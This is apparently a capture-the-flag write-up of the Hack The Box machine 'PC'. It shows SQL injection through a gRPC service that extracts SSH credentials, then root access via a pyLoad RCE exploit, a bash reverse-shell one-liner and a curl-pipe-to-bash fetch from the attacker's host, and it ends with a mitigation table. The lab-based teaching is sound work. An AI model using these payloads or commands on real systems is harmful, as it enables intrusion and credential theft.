Hack the Box (HTB) - PC
Exploiting a gRPC endpoint via SQLi
Enumeration
First let’s start by running enumeration on our box located at 10.10.11.214
I like to use the tool AutoRecon as it vastly speeds up the enumeration process
1
sudo autorecon <ip>
Checking our _full_tcp_nmap.txt
that autorecon generated for us. We see that ports 22
and 50051
are open
Doing a quick good search tells us that port 50051 is typically associated with gRPC (Google Remote Procedure Calls) which essentially facilitates services within a distributed application, regardless of the programming language usd or machine / container they’re located on as well as optimizing overhead
We can run the tool grpcurl
to list the available services on a gRPC server
1
grpcurl -plaintext 10.10.11.214:50051 list
We see the following SimpleApp
& grpc.reflection.v1alpha.ServerReflection
services
We can run the following command against the service to identify the RPC methods
1
grpcurl -plaintext 10.10.11.214:50051 describe SimpleApp
We’ve successfully identified the following three service methods
- LoginUser
- RegisterUser
- getInfo
Before we can attempt to exploit these methods, we need to understand the structure of the request and response message for each method. We can use the the following command to accomplish this
1
2
3
# Describe Request and Response Types for "LoginUser"
grpcurl -plaintext 10.10.11.214:50051 describe .LoginUserRequest
grpcurl -plaintext 10.10.11.214:50051 describe .LoginUserResponse
Now that we have a detailed structure, we can craft a request and perform tests. Let’s try to send data to the RegisteredUser
endpoint in the form of creating an account
1
grpcurl -plaintext -d '{"username": "Jigsaw64", "password": "PleaseHireMe"}' 10.10.11.214:50051 SimpleApp.RegisterUser
Account successfully created. Now let’s login
1
grpcurl -plaintext -d '{"username": "Jigsaw64", "password": "PleaseHireMe"}' 10.10.11.214:50051 SimpleApp.LoginUser
Login successful & our ID is 333
Now let’s attempt to invoke the getInfo
method with our ID
1
grpcurl -plaintext -d '{"id": "333"}' 10.10.11.214:50051 SimpleApp.getInfo
It looks like to call the getInfo
method, we need a token
header in our request. After some research I discoverd that adding the -vv
flag for very verbose provides us with more metadata on our request. Let’s edit the LoginUser
request and attempt it again
Nice, we got our JSON Web Token (JWT). Now let’s edit the .getInfo
request with our token and try again
1
2
3
4
5
grpcurl -plaintext \
-H "token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiSmlnc2F3NjQiLCJleHAiOjE3MjA3NTk0MTR9.wU1nEE4r0kiPpqfc9mX4u73Yip-eHy-HQyNXCVzGsao" \
-d '{"id": "633"}' \
-vv \
10.10.11.214:50051 SimpleApp.getInfo
We see the following message "Will update soon."
It looks like logging into the service worked. Let’s try a basic SQL injection in the ID parameter
1
2
3
4
5
grpcurl -plaintext \
-H "token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiSmlnc2F3NjQiLCJleHAiOjE3MjA3NTk0MTR9.wU1nEE4r0kiPpqfc9mX4u73Yip-eHy-HQyNXCVzGsao" \
-d '{"id": "555 OR 1=1"}' \
-vv \
10.10.11.214:50051 SimpleApp.getInfo
We get the reponse "message": "The admin is working hard to fix the issues.
It looks like our simple SQL injection payload worked. Instead of querying specifically for the ID of 555, it evaluated 1=1 to true, retraining data related to the admin message
Let’s trying querying for the DB version
1
2
3
4
5
grpcurl -plaintext \
-H "token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiSmlnc2F3NjQiLCJleHAiOjE3MjA3NTk0MTR9.wU1nEE4r0kiPpqfc9mX4u73Yip-eHy-HQyNXCVzGsao" \
-d '{"id": "555 union select sqlite_version()"}' \
-vv \
10.10.11.214:50051 SimpleApp.getInfo
We’ve confirmed that the method we’re interacting with is querying a SQLite
DB and that the version is 3.31.1
Now we can craft an SQLi to extract data from the sql_master
table. Which is the table in SQLite that stores metadata on all the tables in the database. Let’s grab the definition of the accounts
table
1
"id": "797 union select sql FROM sqlite_master WHERE type=\"table\" AND name=\"accounts\"; --"
Great, we got the schema of the accounts table. it looks like it consists of two columns, username (Unique)
and password
. I will use the following command to list the username
I had to switch my data format to text (protobuf text format) from here as I kept getting errors in my SQLi using json
1
2
3
4
5
6
grpcurl -plaintext \
-H "token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiSmlnc2F3NjQiLCJleHAiOjE3MjA4MzU1MDJ9.vCG_S9c_VNlCb3vuF8-HXR8Rw8TWt9T3nQzeHG6FzPk" \
-d 'id: "42 UNION SELECT group_concat(username, '"'"','"'"') FROM accounts"' \
-format text \
-vv \
10.10.11.214:50051 SimpleApp.getInfo
We discover this sau
user. Now let’s make the same requesting with the password
1
2
3
4
5
6
grpcurl -plaintext \
-H "token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiSmlnc2F3NjQiLCJleHAiOjE3MjA4MzU1MDJ9.vCG_S9c_VNlCb3vuF8-HXR8Rw8TWt9T3nQzeHG6FzPk" \
-d 'id: "42 UNION SELECT group_concat(password, '"'"','"'"') FROM accounts"' \
-format text \
-vv \
10.10.11.214:50051 SimpleApp.getInfo
The password for the sau
user has been identified as HereIsYourPassWord1431
Let’s try to SSH in with our newly discoverd credentials
1
ssh sau@10.10.11.214
Privilege Escalation
Let’s check the kernel version with a uname -a
, and sudo permission with a sudo -l
Linux pc 5.4.0-148-generic #165-Ubuntu SMP Tue Apr 18 08:53:12 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
Sorry, user sau may not run sudo on localhost.
Uninteresting. Let’s check running processes with ps -ef --forest
-ef
Show all processes, not just those belonging to the current user & generate a full listing, providing more verbose output--forest
Display process hierarchy in a tree-like format
There’s a Python application running as root: /usr/bin/python3 /opt/app/app.py (PID 1059)
Another Python process running as root: /usr/bin/python3 /usr/local/bin/pyload (PID 1063)
Let’s check listening TCP sockets on the system with the following command
1
ss -lntp
This could be a local web server or application. Let’s curl the local service and see what we get
We’ve confirmed it’s a web service. Let’s forward this local port 8000 to our attacker machine. We’ll open a new tab on our attacker machine and run the following SSH command to connect via SSH again as well as set up local port forwarding. This will allow us to access the service in our web browser on our attacker machine
1
ssh -L 8000:127.0.0.1:8000 sau@10.10.11.214
Now let’s navigate to http://127.0.0.1:8000 / http://localhost:8000
Let’s see if we can find the version of this application. Checking the HTML source code doesn’t provide anything of value. Unfortunately, the config file for pyLoad is located on the roots home directory, which we can’t access. Let’s check searchsploit for any exploits relating to pyLoad
1
searchsploit pyLoad
We find one, let’s go ahead and copy the exploit script to our current directory
1
cp /usr/share/exploitdb/exploits/python/webapps/51532.py .
Doing a bit of research to get a high-level overview of this exploit tells me it’s a unauthenticated RCE that takes advantage of the /flash/addcrypted2
endpoint in PyLoad’s API. This end point of the applications API does not sanitize user input.
This script first sends a get request to check if the host is alive. If alive it then sends a POST with the malicious python payload
1
2
3
4
5
API: PyLoad API
├── Endpoint: /flash/addcrypted2 <- Vulnerable Endpoint
├── Endpoint: /login
├── Endpoint: /addPackage
└── Endpoint: /startDownload
Let’s run the script
1
python3 51532.py -u http://localhost:8000 -c "whoami"
We get the following message back [+] Host up, let's exploit! [+] The exploit has be executed in target machine.
which indicates that the script is working
Let’s create a bash reverse shell on our machine. We’ll curl it using our exploit script
1
gedit rev.shell
We’ll edit the rev.shell
script and add the following bash one liner:
bash -i >& /dev/tcp/10.10.14.36/9001 0>&1
Now we will do the following:
- Make the script executable
chmod +x rev.shell
- Host the file via simple HTTP server
python3 -m http.server 8080
- Set up our netcat listener
nc -lvnp 9001
Now just modify the exploit to include the curl command python3 51532.py -u http://localhost:8000 -c "curl http://10.10.14.36:8080/revshell.sh | bash"
GG, we’ve rooted PC!
Summary
- Initial enumerating discoverd gRPC
- Utilized grpcurl to interact with gRPC service
- Discoverd service SimpleApp interacting with an SQLite database
- Found & exploited the gRPC service via SQLi
- SQLi provided SSH credentials
- SSH’d into machine with discovered username & password
- Discovered local web service PyLoad running on port 8000
- Used SSH port forwarding to access the local PyLoad service
- Utilized searchsploit to discover CVE related to the PyLoad service
- Created malicious bash script for a reverse shell
- Exploited PyLoad vulnerability
- Obtained a reverse shell with root privileges
Vulnerabilities & Mitigation
Vulnerability | Mitigation |
---|---|
Lack of Input Validation in gRPC Methods | Validate and sanitize all user inputs. Implement strict input validation. |
SQL Injection in gRPC Service | Use prepared statements and parameterized queries. Validate and sanitize inputs. |
Default or Weak SSH Credentials | Enforce strong, unique passwords! |
Vulnerable PyLoad Service | Keep all software up to date. |
Lack of Proper Input Sanitization in PyLoad | Validate and sanitize all user inputs. Implement proper input handling in application code. |
Local Service Access via SSH Port Forwarding (Lack of Detection) | Implement monitoring for SSH port forwarding activities. Use SSH logs, network traffic analysis, and intrusion detection systems (IDS) to detect and alert on unauthorized port forwarding. |
Lack of Principle of Least Privilege | Ensure services run with the minimum necessary privileges. Use proper user and permission management. |